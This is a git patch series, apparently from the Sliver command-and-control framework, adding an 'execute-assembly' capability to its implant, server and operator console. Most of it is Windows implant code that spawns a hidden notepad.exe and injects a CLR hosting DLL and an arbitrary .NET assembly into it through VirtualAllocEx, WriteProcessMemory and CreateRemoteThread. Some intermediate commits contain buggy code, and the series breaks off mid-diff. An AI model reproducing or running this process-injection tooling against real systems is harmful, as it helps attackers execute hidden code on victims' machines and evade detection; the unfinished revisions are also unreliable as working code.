From 12a650533f796ae487853f74c1a8f0ba0b2307ca Mon Sep 17 00:00:00 2001 From: rkervella Date: Thu, 14 Feb 2019 19:05:04 +0100 Subject: [PATCH 01/11] Add messages for execute-assembly --- protobuf/sliver/sliver.proto | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/protobuf/sliver/sliver.proto b/protobuf/sliver/sliver.proto index 584af15f5f..c51f9dad24 100644 --- a/protobuf/sliver/sliver.proto +++ b/protobuf/sliver/sliver.proto @@ -153,6 +153,18 @@ message ProcessDump { string err = 2; } +message ExecuteAssemblyReq { + bytes hostingDll = 1; + bytes assembly = 2; + string arguments = 3; + int32 SliverID = 9; +} + +message ExecuteAssembly { + string output = 1; + string error = 2; +} + // DNS Specific messages message DNSSessionInit { bytes key = 1; From 6986574b9ea73b165feb1141be4307a8ef185615 Mon Sep 17 00:00:00 2001 From: rkervella Date: Thu, 14 Feb 2019 19:11:33 +0100 Subject: [PATCH 02/11] Add constants for execute-assembly --- protobuf/sliver/constants.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/protobuf/sliver/constants.go b/protobuf/sliver/constants.go index 491e7d5506..90bae232cc 100644 --- a/protobuf/sliver/constants.go +++ b/protobuf/sliver/constants.go @@ -62,4 +62,8 @@ const ( MsgProcessDumpReq // MsgProcessDump - Dump of process) MsgProcessDump + // MsgExecuteAssemblyReq - Request to load and execute a .NET assembly + MsgExecuteAssemblyReq + // MsgExecuteAssembly - Output of the assembly execution + MsgExecuteAssembly ) From 945370d17e655153d8da5e41c662b4b2abaaa202 Mon Sep 17 00:00:00 2001 From: rkervella Date: Thu, 14 Feb 2019 19:16:17 +0100 Subject: [PATCH 03/11] Add execute-assembly core function --- sliver/taskrunner/task_windows.go | 92 ++++++++++++++++++++++++++++--- 1 file changed, 85 insertions(+), 7 deletions(-) diff --git a/sliver/taskrunner/task_windows.go b/sliver/taskrunner/task_windows.go index 8ec5a3da06..f298243ab7 100644 --- a/sliver/taskrunner/task_windows.go +++ b/sliver/taskrunner/task_windows.go @@ -1,6 +1,10 @@ package taskrunner import ( + "bytes" + "fmt" + "io" + "os/exec" "syscall" "unsafe" @@ -10,10 +14,11 @@ import ( ) const ( - MEM_COMMIT = 0x001000 - MEM_RESERVE = 0x002000 - PAGE_EXECUTE_READWRITE = 0x000040 - PROCESS_ALL_ACCESS = 0x1F0FFF + MEM_COMMIT = 0x001000 + MEM_RESERVE = 0x002000 + BobLoaderOffset = 0x00000af0 + PROCESS_ALL_ACCESS = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff + MAX_ASSEMBLY_LENGTH = 1025024 ) var ( @@ -27,7 +32,7 @@ var ( func sysAlloc(size int) (uintptr, error) { n := uintptr(size) - addr, _, err := virtualAlloc.Call(0, n, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) + addr, _, err := virtualAlloc.Call(0, n, MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) if addr == 0 { return 0, err } @@ -53,7 +58,7 @@ func injectTask(processHandle syscall.Handle, data []byte) error { // {{if .Debug}} log.Println("creating native data buffer ...") // {{end}} - dataAddr, _, err := virtualAlloc.Call(0, ptr(dataSize), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) + dataAddr, _, err := virtualAlloc.Call(0, ptr(dataSize), MEM_RESERVE|MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) if dataAddr == 0 { return err } @@ -66,7 +71,7 @@ func injectTask(processHandle syscall.Handle, data []byte) error { // {{if .Debug}} log.Println("allocating remote process memory ...") // {{end}} - remoteAddr, _, err := virtualAllocEx.Call(uintptr(processHandle), 0, ptr(dataSize), MEM_COMMIT, PAGE_EXECUTE_READWRITE) + remoteAddr, _, err := virtualAllocEx.Call(uintptr(processHandle), 0, ptr(dataSize), MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) // {{if .Debug}} log.Printf("virtualallocex returned: remoteAddr = %v, err = %v", remoteAddr, err) // {{end}} @@ -132,3 +137,76 @@ func LocalTask(data []byte) error { _, _, err := createThread.Call(0, 0, addr, 0, 0, 0) return err } + +func ExecuteAssembly(hostingDll, assembly []byte, params string) (string, error) { + + if len(assembly) > MAX_ASSEMBLY_LENGTH { + return fmt.Errorf("please use an assembly smaller than %d", MAX_ASSEMBLY_LENGTH) + } + cmd := exec.Command("notepad.exe") + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + } + var stdoutBuf, stderrBuf bytes.Buffer + stdoutIn, _ := cmd.StdoutPipe() + stderrIn, _ := cmd.StderrPipe() + + var errStdout, errStderr error + cmd.Start() + pid := cmd.Process.Pid + // OpenProcess with PROC_ACCESS_ALL + handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid)) + if err != nil { + return "", err + } + // VirtualAllocEx to allocate a new memory segment into the target process + hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE) + if err != nil { + return "", err + } + // WriteProcessMemory to write the reflective loader into the process + _, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll))) + if err != nil { + return "", err + } + log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr) + // Total size to allocate = assembly size + 1024 bytes for the args + totalSize := uint32(MAX_ASSEMBLY_LENGTH) + // VirtualAllocEx to allocate another memory segment for hosting the .NET assembly and args + assemblyAddr, err := virtualAllocEx(handle, 0, totalSize, MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE) + if err != nil { + return "", err + } + // Padd arguments with 0x00 -- there must be a cleaner way to do that + paramsBytes := []byte(params) + padding := make([]byte, 1024-len(params)) + final := append(paramsBytes, padding...) + // Final payload: params + assembly + final = append(final, assembly...) + // WriteProcessMemory to write the .NET assembly + args + _, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&final[0]), uint32(len(final))) + if err != nil { + return "", err + } + log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(final), assemblyAddr) + // CreateRemoteThread(DLL addr + offset, assembly addr) + attr := new(syscall.SecurityAttributes) + _, _, err = createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr+BobLoaderOffset), uintptr(assemblyAddr), 0) + if err != nil { + return "", err + } + + go func() { + _, errStdout = io.Copy(&stdoutBuf, stdoutIn) + }() + _, errStderr = io.Copy(&stderrBuf, stderrIn) + + if errStdout != nil || errStderr != nil { + log.Fatal("failed to capture stdout or stderr\n") + } + outStr, errStr := string(stdoutBuf.Bytes()), string(stderrBuf.Bytes()) + if len(errStr) > 1 { + return "", fmt.Errorf(errStr) + } + return outStr, nil +} From fb766958ad527463ef4236eb3953204d2e065794 Mon Sep 17 00:00:00 2001 From: rkervella Date: Thu, 14 Feb 2019 19:18:12 +0100 Subject: [PATCH 04/11] Only log on debug mode --- sliver/taskrunner/task_windows.go | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/sliver/taskrunner/task_windows.go b/sliver/taskrunner/task_windows.go index f298243ab7..04c7472bad 100644 --- a/sliver/taskrunner/task_windows.go +++ b/sliver/taskrunner/task_windows.go @@ -169,7 +169,9 @@ func ExecuteAssembly(hostingDll, assembly []byte, params string) (string, error) if err != nil { return "", err } + // {{if .Debug}} log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr) + // {{end}} // Total size to allocate = assembly size + 1024 bytes for the args totalSize := uint32(MAX_ASSEMBLY_LENGTH) // VirtualAllocEx to allocate another memory segment for hosting the .NET assembly and args @@ -188,7 +190,9 @@ func ExecuteAssembly(hostingDll, assembly []byte, params string) (string, error) if err != nil { return "", err } + // {{if .Debug}} log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(final), assemblyAddr) + // {{end}} // CreateRemoteThread(DLL addr + offset, assembly addr) attr := new(syscall.SecurityAttributes) _, _, err = createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr+BobLoaderOffset), uintptr(assemblyAddr), 0) @@ -202,7 +206,9 @@ func ExecuteAssembly(hostingDll, assembly []byte, params string) (string, error) _, errStderr = io.Copy(&stderrBuf, stderrIn) if errStdout != nil || errStderr != nil { + // {{if .Debug}} log.Fatal("failed to capture stdout or stderr\n") + // {{end}} } outStr, errStr := string(stdoutBuf.Bytes()), string(stderrBuf.Bytes()) if len(errStr) > 1 { From bdfedaf7b859c47ba352d4604d5c33f35f9d02b4 Mon Sep 17 00:00:00 2001 From: rkervella Date: Thu, 14 Feb 2019 19:24:23 +0100 Subject: [PATCH 05/11] Add execute-assembly sliver handler --- sliver/handlers_windows.go | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/sliver/handlers_windows.go b/sliver/handlers_windows.go index 56c521e710..c806e0afc8 100644 --- a/sliver/handlers_windows.go +++ b/sliver/handlers_windows.go @@ -63,3 +63,26 @@ func remoteTaskHandler(data []byte, resp RPCResponse) { err = taskrunner.RemoteTask(int(remoteTask.Pid), remoteTask.Data) resp([]byte{}, err) } + +func executeAssemblyHandler(data []byte, resp RPCResponse) { + execReq := &pb.ExecuteAssemblyReq{} + err := proto.Unmarshal(data, execReq) + if err != nil { + // {{if .Debug}} + log.Printf("error decoding message: %v", err) + // {{end}} + return + } + output, err := taskrunner.ExecuteAssembly(execReq.Assembly, execReq.HostingDll, execReq.Arguments) + strErr := "" + if err != nil { + strErr = err.Error() + } + execResp := &pb.ExecuteAssembly{ + Output: output, + Error: strErr, + } + data, err = proto.Marshal(execReq) + resp(data, err) + +} From eee0cac1e4450972cdcfb8b9e4883dc81650b406 Mon Sep 17 00:00:00 2001 From: rkervella Date: Thu, 14 Feb 2019 19:24:51 +0100 Subject: [PATCH 06/11] Add execute-assembly sliver handler --- sliver/handlers_windows.go | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/sliver/handlers_windows.go b/sliver/handlers_windows.go index c806e0afc8..4412a93d52 100644 --- a/sliver/handlers_windows.go +++ b/sliver/handlers_windows.go @@ -14,9 +14,10 @@ import ( var ( windowsHandlers = map[uint32]RPCHandler{ // Windows Only - pb.MsgTask: taskHandler, - pb.MsgRemoteTask: remoteTaskHandler, - pb.MsgProcessDumpReq: dumpHandler, + pb.MsgTask: taskHandler, + pb.MsgRemoteTask: remoteTaskHandler, + pb.MsgProcessDumpReq: dumpHandler, + pb.MsgExecuteAssembly: executeAssemblyHandler, // Generic pb.MsgPsListReq: psHandler, From 42ae7c92752f5aa140396748e5f6bc5d609bc024 Mon Sep 17 00:00:00 2001 From: rkervella Date: Thu, 14 Feb 2019 19:25:09 +0100 Subject: [PATCH 07/11] Add execute-assembly sliver handler --- sliver/handlers_windows.go | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/sliver/handlers_windows.go b/sliver/handlers_windows.go index 4412a93d52..f38e1e1b05 100644 --- a/sliver/handlers_windows.go +++ b/sliver/handlers_windows.go @@ -14,10 +14,10 @@ import ( var ( windowsHandlers = map[uint32]RPCHandler{ // Windows Only - pb.MsgTask: taskHandler, - pb.MsgRemoteTask: remoteTaskHandler, - pb.MsgProcessDumpReq: dumpHandler, - pb.MsgExecuteAssembly: executeAssemblyHandler, + pb.MsgTask: taskHandler, + pb.MsgRemoteTask: remoteTaskHandler, + pb.MsgProcessDumpReq: dumpHandler, + pb.MsgExecuteAssemblyReq: executeAssemblyHandler, // Generic pb.MsgPsListReq: psHandler, From a08ca51090894e70bf68af6b7d24c5094262c39c Mon Sep 17 00:00:00 2001 From: rkervella Date: Thu, 14 Feb 2019 19:31:33 +0100 Subject: [PATCH 08/11] Add timeout to ExecuteAssemblyReq --- protobuf/sliver/sliver.proto | 1 + 1 file changed, 1 insertion(+) diff --git a/protobuf/sliver/sliver.proto b/protobuf/sliver/sliver.proto index c51f9dad24..da44418bef 100644 --- a/protobuf/sliver/sliver.proto +++ b/protobuf/sliver/sliver.proto @@ -157,6 +157,7 @@ message ExecuteAssemblyReq { bytes hostingDll = 1; bytes assembly = 2; string arguments = 3; + int32 Timeout = 8; int32 SliverID = 9; } From 24fd0778150625018c88aba77254a8fec57d43a6 Mon Sep 17 00:00:00 2001 From: rkervella Date: Thu, 14 Feb 2019 23:59:33 +0100 Subject: [PATCH 09/11] Execute assembly ready to test --- client/command/execute_assembly.go | 58 ++++++++++++++++++++++++++++++ client/command/init.go | 12 +++++++ client/constants/constants.go | 19 +++++----- client/help/console-help.go | 30 +++++++++------- server/assets/assets.go | 22 ++++++++++++ server/rpc/rpc-sliver.go | 30 ++++++++++++++++ server/rpc/rpc.go | 15 ++++---- 7 files changed, 157 insertions(+), 29 deletions(-) create mode 100644 client/command/execute_assembly.go diff --git a/client/command/execute_assembly.go b/client/command/execute_assembly.go new file mode 100644 index 0000000000..9bf831c452 --- /dev/null +++ b/client/command/execute_assembly.go @@ -0,0 +1,58 @@ +package command + +import ( + "fmt" + "io/ioutil" + + consts "sliver/client/constants" + "sliver/client/spin" + pb "sliver/protobuf/client" + sliverpb "sliver/protobuf/sliver" + + "github.com/desertbit/grumble" + "github.com/golang/protobuf/proto" +) + +func executeAssembly(ctx *grumble.Context, rpc RPCServer) { + if ActiveSliver.Sliver == nil { + fmt.Printf(Warn + "Please select an active sliver via `use`\n") + return + } + + if len(ctx.Args) < 1 { + fmt.Printf(Warn + "Please provide valid arguments.\n") + return + } + assemblyArgs := "" + if len(ctx.Args) == 2 { + assemblyArgs = ctx.Args[1] + } + assemblyBytes, err := ioutil.ReadFile(ctx.Args[0]) + if err != nil { + fmt.Printf(Warn+"%s", err.Error()) + return + } + + ctrl := make(chan bool) + go spin.Until("Executing assembly ...", ctrl) + data, _ := proto.Marshal(&sliverpb.ExecuteAssemblyReq{ + SliverID: ActiveSliver.Sliver.ID, + Timeout: int32(defaultTimeout), + Arguments: assemblyArgs, + Assembly: assemblyBytes, + HostingDll: []byte{}, + }) + + resp := rpc(&pb.Envelope{ + Data: data, + Type: consts.ExecuteAssemblyStr, + }, defaultTimeout) + ctrl <- true + execResp := &sliverpb.ExecuteAssembly{} + proto.Unmarshal(resp.Data, execResp) + if execResp.Error != "" { + fmt.Printf(Warn+"%s", execResp.Error) + return + } + fmt.Printf(Info+"Assembly output:\n%s", execResp.Output) +} diff --git a/client/command/init.go b/client/command/init.go index d6c092e670..f706a5b26b 100644 --- a/client/command/init.go +++ b/client/command/init.go @@ -445,4 +445,16 @@ func Init(app *grumble.App, rpc RPCServer) { }, }) + app.AddCommand(&grumble.Command{ + Name: consts.ExecuteAssemblyStr, + Help: "Load and executes a .NET assembly in a child process", + LongHelp: help.GetHelpFor(consts.ExecuteAssemblyStr), + AllowArgs: true, + Run: func(ctx *grumble.Context) error { + fmt.Println() + executeAssembly(ctx, rpc) + fmt.Println() + return nil + }, + }) } diff --git a/client/constants/constants.go b/client/constants/constants.go index 2ad6438e67..754bb1ca2d 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -60,13 +60,14 @@ const ( GetGIDStr = "getgid" WhoamiStr = "whoami" - LsStr = "ls" - RmStr = "rm" - MkdirStr = "mkdir" - CdStr = "cd" - PwdStr = "pwd" - CatStr = "cat" - DownloadStr = "download" - UploadStr = "upload" - ProcdumpStr = "procdump" + LsStr = "ls" + RmStr = "rm" + MkdirStr = "mkdir" + CdStr = "cd" + PwdStr = "pwd" + CatStr = "cat" + DownloadStr = "download" + UploadStr = "upload" + ProcdumpStr = "procdump" + ExecuteAssemblyStr = "execute-assembly" ) diff --git a/client/help/console-help.go b/client/help/console-help.go index 878ab16de0..a5ef2f999e 100644 --- a/client/help/console-help.go +++ b/client/help/console-help.go @@ -33,19 +33,20 @@ var ( consts.UseStr: useHelp, consts.GenerateStr: generateHelp, - consts.MsfStr: msfHelp, - consts.InjectStr: injectHelp, - consts.PsStr: psHelp, - consts.PingStr: pingHelp, - consts.KillStr: killHelp, - consts.LsStr: lsHelp, - consts.CdStr: cdHelp, - consts.CatStr: catHelp, - consts.DownloadStr: downloadHelp, - consts.UploadStr: uploadHelp, - consts.MkdirStr: mkdirHelp, - consts.RmStr: rmHelp, - consts.ProcdumpStr: procdumpHelp, + consts.MsfStr: msfHelp, + consts.InjectStr: injectHelp, + consts.PsStr: psHelp, + consts.PingStr: pingHelp, + consts.KillStr: killHelp, + consts.LsStr: lsHelp, + consts.CdStr: cdHelp, + consts.CatStr: catHelp, + consts.DownloadStr: downloadHelp, + consts.UploadStr: uploadHelp, + consts.MkdirStr: mkdirHelp, + consts.RmStr: rmHelp, + consts.ProcdumpStr: procdumpHelp, + consts.ExecuteAssemblyStr: executeAssemblyHelp, } jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs @@ -107,6 +108,9 @@ var ( procdumpHelp = `[[.Bold]]Command:[[.Normal]] procdump [[.Bold]]About:[[.Normal]] Dumps the process memory given a process identifier (pid)` + + executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [arguments] +[[.Bold]]About:[[.Normal]] Executes the .NET assembly in a child process.` ) // GetHelpFor - Get help string for a command diff --git a/server/assets/assets.go b/server/assets/assets.go index 900321b6c7..de335a7d38 100644 --- a/server/assets/assets.go +++ b/server/assets/assets.go @@ -39,6 +39,12 @@ func GetRootAppDir() string { return dir } +// GetDataDir - Returns the full path to the data directory +func GetDataDir() string { + dir := GetRootAppDir() + "data" + return dir +} + // Setup - Extract or create local assets // TODO: Add some type of version awareness func Setup() { @@ -46,6 +52,7 @@ func Setup() { SetupCerts(appDir) setupGo(appDir) setupCodenames(appDir) + SetupDataPath(appDir) } // SetupCerts - Creates directories for certs @@ -131,6 +138,21 @@ func SetupGoPath(goPathSrc string) error { return nil } +// SetupDataPath - Sets the data directory up +func SetupDataPath(appDir string) error { + dataDir := appDir + "data" + if _, err := os.Stat(dataDir); os.IsNotExist(err) { + log.Printf("Creating data directory: %s", dataDir) + os.MkdirAll(dataDir, os.ModePerm) + } + hostingDll, err := assetsBox.Find("HostingCLRx64.dll") + if err != nil { + return err + } + err = ioutil.WriteFile(dataDir+"/HostingCLRx64.dll", hostingDll, 0644) + return err +} + func unzipGoDependency(fileName string, targetPath string, assetsBox packr.Box) error { log.Printf("Unpacking go dependency %s -> %s", fileName, targetPath) appDir := GetRootAppDir() diff --git a/server/rpc/rpc-sliver.go b/server/rpc/rpc-sliver.go index 573ae57f77..66784ca200 100644 --- a/server/rpc/rpc-sliver.go +++ b/server/rpc/rpc-sliver.go @@ -6,6 +6,7 @@ import ( "log" "path" pb "sliver/protobuf/client" + "sliver/server/assets" "sliver/server/core" "sliver/server/generate" "time" @@ -134,3 +135,32 @@ func rpcProcdump(req []byte, resp RPCResponse) { data, err = sliver.Request(sliverpb.MsgProcessDumpReq, timeout, data) resp(data, err) } + +func rpcExecuteAssembly(req []byte, resp RPCResponse) { + execReq := &sliverpb.ExecuteAssemblyReq{} + err := proto.Unmarshal(req, execReq) + if err != nil { + resp([]byte{}, err) + return + } + sliver := (*core.Hive.Slivers)[int(execReq.SliverID)] + if sliver == nil { + resp([]byte{}, err) + return + } + hostingDllPath := assets.GetDataDir() + "/HostingCLRx64.dll" + hostingDllBytes, err := ioutil.ReadFile(hostingDllPath) + if err != nil { + resp([]byte{}, err) + return + } + data, _ := proto.Marshal(&sliverpb.ExecuteAssemblyReq{ + Assembly: execReq.Assembly, + HostingDll: hostingDllBytes, + Arguments: execReq.Arguments, + }) + timeout := time.Duration(execReq.Timeout) * time.Second + data, err = sliver.Request(sliverpb.MsgExecuteAssemblyReq, timeout, data) + resp(data, err) + +} diff --git a/server/rpc/rpc.go b/server/rpc/rpc.go index 42d3331ad3..40fc56785d 100644 --- a/server/rpc/rpc.go +++ b/server/rpc/rpc.go @@ -32,13 +32,14 @@ var ( consts.PsStr: rpcPs, consts.ProcdumpStr: rpcProcdump, - consts.LsStr: rpcLs, - consts.RmStr: rpcRm, - consts.MkdirStr: rpcMkdir, - consts.CdStr: rpcCd, - consts.PwdStr: rpcPwd, - consts.DownloadStr: rpcDownload, - consts.UploadStr: rpcUpload, + consts.LsStr: rpcLs, + consts.RmStr: rpcRm, + consts.MkdirStr: rpcMkdir, + consts.CdStr: rpcCd, + consts.PwdStr: rpcPwd, + consts.DownloadStr: rpcDownload, + consts.UploadStr: rpcUpload, + consts.ExecuteAssemblyStr: rpcExecuteAssembly, } ) From 05be65846fe2eb0348cb8fd27d367adc40547730 Mon Sep 17 00:00:00 2001 From: rkervella Date: Wed, 20 Feb 2019 11:02:56 +0100 Subject: [PATCH 10/11] execute assembly ready to test --- client/command/execute_assembly.go | 11 +++--- server/assets/assets.go | 5 +-- server/rpc/rpc-sliver.go | 2 ++ sliver/handlers_windows.go | 4 +-- sliver/taskrunner/task_windows.go | 56 +++++++++++++++++------------- 5 files changed, 45 insertions(+), 33 deletions(-) diff --git a/client/command/execute_assembly.go b/client/command/execute_assembly.go index 9bf831c452..c764f16537 100644 --- a/client/command/execute_assembly.go +++ b/client/command/execute_assembly.go @@ -23,21 +23,22 @@ func executeAssembly(ctx *grumble.Context, rpc RPCServer) { fmt.Printf(Warn + "Please provide valid arguments.\n") return } - assemblyArgs := "" - if len(ctx.Args) == 2 { - assemblyArgs = ctx.Args[1] - } assemblyBytes, err := ioutil.ReadFile(ctx.Args[0]) if err != nil { fmt.Printf(Warn+"%s", err.Error()) return } + assemblyArgs := "" + if len(ctx.Args) == 2 { + assemblyArgs = ctx.Args[1] + } + ctrl := make(chan bool) go spin.Until("Executing assembly ...", ctrl) data, _ := proto.Marshal(&sliverpb.ExecuteAssemblyReq{ SliverID: ActiveSliver.Sliver.ID, - Timeout: int32(defaultTimeout), + Timeout: int32(30), Arguments: assemblyArgs, Assembly: assemblyBytes, HostingDll: []byte{}, diff --git a/server/assets/assets.go b/server/assets/assets.go index de335a7d38..d3acacd6e8 100644 --- a/server/assets/assets.go +++ b/server/assets/assets.go @@ -41,7 +41,7 @@ func GetRootAppDir() string { // GetDataDir - Returns the full path to the data directory func GetDataDir() string { - dir := GetRootAppDir() + "data" + dir := GetRootAppDir() + "/data" return dir } @@ -140,13 +140,14 @@ func SetupGoPath(goPathSrc string) error { // SetupDataPath - Sets the data directory up func SetupDataPath(appDir string) error { - dataDir := appDir + "data" + dataDir := appDir + "/data" if _, err := os.Stat(dataDir); os.IsNotExist(err) { log.Printf("Creating data directory: %s", dataDir) os.MkdirAll(dataDir, os.ModePerm) } hostingDll, err := assetsBox.Find("HostingCLRx64.dll") if err != nil { + log.Printf("failed to find the dll") return err } err = ioutil.WriteFile(dataDir+"/HostingCLRx64.dll", hostingDll, 0644) diff --git a/server/rpc/rpc-sliver.go b/server/rpc/rpc-sliver.go index 66784ca200..8fefab9346 100644 --- a/server/rpc/rpc-sliver.go +++ b/server/rpc/rpc-sliver.go @@ -158,6 +158,8 @@ func rpcExecuteAssembly(req []byte, resp RPCResponse) { Assembly: execReq.Assembly, HostingDll: hostingDllBytes, Arguments: execReq.Arguments, + Timeout: execReq.Timeout, + SliverID: execReq.SliverID, }) timeout := time.Duration(execReq.Timeout) * time.Second data, err = sliver.Request(sliverpb.MsgExecuteAssemblyReq, timeout, data) diff --git a/sliver/handlers_windows.go b/sliver/handlers_windows.go index f38e1e1b05..fb9387bce3 100644 --- a/sliver/handlers_windows.go +++ b/sliver/handlers_windows.go @@ -74,7 +74,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) { // {{end}} return } - output, err := taskrunner.ExecuteAssembly(execReq.Assembly, execReq.HostingDll, execReq.Arguments) + output, err := taskrunner.ExecuteAssembly(execReq.Assembly, execReq.HostingDll, execReq.Arguments, execReq.Timeout) strErr := "" if err != nil { strErr = err.Error() @@ -83,7 +83,7 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) { Output: output, Error: strErr, } - data, err = proto.Marshal(execReq) + data, err = proto.Marshal(execResp) resp(data, err) } diff --git a/sliver/taskrunner/task_windows.go b/sliver/taskrunner/task_windows.go index 04c7472bad..7932b7fc74 100644 --- a/sliver/taskrunner/task_windows.go +++ b/sliver/taskrunner/task_windows.go @@ -4,8 +4,10 @@ import ( "bytes" "fmt" "io" + "os" "os/exec" "syscall" + "time" "unsafe" // {{if .Debug}} @@ -138,10 +140,9 @@ func LocalTask(data []byte) error { return err } -func ExecuteAssembly(hostingDll, assembly []byte, params string) (string, error) { - +func ExecuteAssembly(hostingDll, assembly []byte, params string, timeout int32) (string, error) { if len(assembly) > MAX_ASSEMBLY_LENGTH { - return fmt.Errorf("please use an assembly smaller than %d", MAX_ASSEMBLY_LENGTH) + return "", fmt.Errorf("please use an assembly smaller than %d", MAX_ASSEMBLY_LENGTH) } cmd := exec.Command("notepad.exe") cmd.SysProcAttr = &syscall.SysProcAttr{ @@ -152,31 +153,39 @@ func ExecuteAssembly(hostingDll, assembly []byte, params string) (string, error) stderrIn, _ := cmd.StderrPipe() var errStdout, errStderr error - cmd.Start() + stdout := io.MultiWriter(os.Stdout, &stdoutBuf) + stderr := io.MultiWriter(os.Stderr, &stderrBuf) + go cmd.Run() + time.Sleep(time.Second * 3) pid := cmd.Process.Pid + log.Println("[*] Process started, pid =", cmd.Process.Pid) // OpenProcess with PROC_ACCESS_ALL handle, err := syscall.OpenProcess(PROCESS_ALL_ACCESS, true, uint32(pid)) if err != nil { return "", err } + log.Println("[*] Allocating space for reflective DLL") // VirtualAllocEx to allocate a new memory segment into the target process - hostingDllAddr, err := virtualAllocEx(handle, 0, uint32(len(hostingDll)), MEM_COMMIT|MEM_RESERVE, syscall.PAGE_EXECUTE_READWRITE) - if err != nil { + dllSize := len(hostingDll) + hostingDllAddr, _, err := virtualAllocEx.Call(uintptr(handle), 0, ptr(dllSize), MEM_COMMIT, syscall.PAGE_EXECUTE_READWRITE) + if hostingDllAddr == 0 { + log.Println("VirtualAllocEx failed") return "", err } + log.Println("[*] Calling WriteProcessMemory...") // WriteProcessMemory to write the reflective loader into the process - _, err = writeProcessMemory(handle, hostingDllAddr, unsafe.Pointer(&hostingDll[0]), uint32(len(hostingDll))) - if err != nil { + success, _, err := writeProcessMemory.Call(uintptr(handle), uintptr(hostingDllAddr), uintptr(unsafe.Pointer(&hostingDll[0])), ptr(dllSize)) + if success == 0 { + log.Println("WriteProcessMemory failed") return "", err } - // {{if .Debug}} log.Printf("[*] Hosting DLL reflectively injected at 0x%08x\n", hostingDllAddr) - // {{end}} // Total size to allocate = assembly size + 1024 bytes for the args - totalSize := uint32(MAX_ASSEMBLY_LENGTH) + totalSize := int(MAX_ASSEMBLY_LENGTH) // VirtualAllocEx to allocate another memory segment for hosting the .NET assembly and args - assemblyAddr, err := virtualAllocEx(handle, 0, totalSize, MEM_COMMIT|MEM_RESERVE, syscall.PAGE_READWRITE) - if err != nil { + assemblyAddr, _, err := virtualAllocEx.Call(uintptr(handle), 0, ptr(totalSize), MEM_COMMIT, syscall.PAGE_READWRITE) + if assemblyAddr == 0 { + log.Println("VirtualAllocEx failed") return "", err } // Padd arguments with 0x00 -- there must be a cleaner way to do that @@ -185,34 +194,33 @@ func ExecuteAssembly(hostingDll, assembly []byte, params string) (string, error) final := append(paramsBytes, padding...) // Final payload: params + assembly final = append(final, assembly...) + finalSize := len(final) // WriteProcessMemory to write the .NET assembly + args - _, err = writeProcessMemory(handle, assemblyAddr, unsafe.Pointer(&final[0]), uint32(len(final))) - if err != nil { + success, _, err = writeProcessMemory.Call(uintptr(handle), uintptr(assemblyAddr), uintptr(unsafe.Pointer(&final[0])), ptr(finalSize)) + if success == 0 { return "", err } - // {{if .Debug}} log.Printf("[*] Wrote %d bytes at 0x%08x\n", len(final), assemblyAddr) - // {{end}} // CreateRemoteThread(DLL addr + offset, assembly addr) - attr := new(syscall.SecurityAttributes) - _, _, err = createRemoteThread(handle, attr, 0, uintptr(hostingDllAddr+BobLoaderOffset), uintptr(assemblyAddr), 0) - if err != nil { + success, _, err = createRemoteThread.Call(uintptr(handle), 0, 0, uintptr(hostingDllAddr+BobLoaderOffset), uintptr(assemblyAddr), 0) + if success == 0 { return "", err } go func() { - _, errStdout = io.Copy(&stdoutBuf, stdoutIn) + _, errStdout = io.Copy(stdout, stdoutIn) }() - _, errStderr = io.Copy(&stderrBuf, stderrIn) + _, errStderr = io.Copy(stderr, stderrIn) if errStdout != nil || errStderr != nil { - // {{if .Debug}} log.Fatal("failed to capture stdout or stderr\n") - // {{end}} } + log.Printf("Sleeping for %d seconds\n", timeout-20) + time.Sleep(time.Second * time.Duration(timeout-20)) outStr, errStr := string(stdoutBuf.Bytes()), string(stderrBuf.Bytes()) if len(errStr) > 1 { return "", fmt.Errorf(errStr) } + log.Println("EXECUTE ASSEMBLY FINISHED", outStr) return outStr, nil } From 9a763206911a87a07004a44a143f88877ff759fc Mon Sep 17 00:00:00 2001 From: rkervella Date: Thu, 21 Feb 2019 20:27:14 +0100 Subject: [PATCH 11/11] execute-assembly ready to merge --- client/command/execute_assembly.go | 2 +- sliver/handlers_windows.go | 2 +- sliver/taskrunner/task_windows.go | 143 +++++++++++++++++++---------- 3 files changed, 97 insertions(+), 50 deletions(-) diff --git a/client/command/execute_assembly.go b/client/command/execute_assembly.go index c764f16537..2e8e9c63b8 100644 --- a/client/command/execute_assembly.go +++ b/client/command/execute_assembly.go @@ -38,7 +38,7 @@ func executeAssembly(ctx *grumble.Context, rpc RPCServer) { go spin.Until("Executing assembly ...", ctrl) data, _ := proto.Marshal(&sliverpb.ExecuteAssemblyReq{ SliverID: ActiveSliver.Sliver.ID, - Timeout: int32(30), + Timeout: int32(5), Arguments: assemblyArgs, Assembly: assemblyBytes, HostingDll: []byte{}, diff --git a/sliver/handlers_windows.go b/sliver/handlers_windows.go index 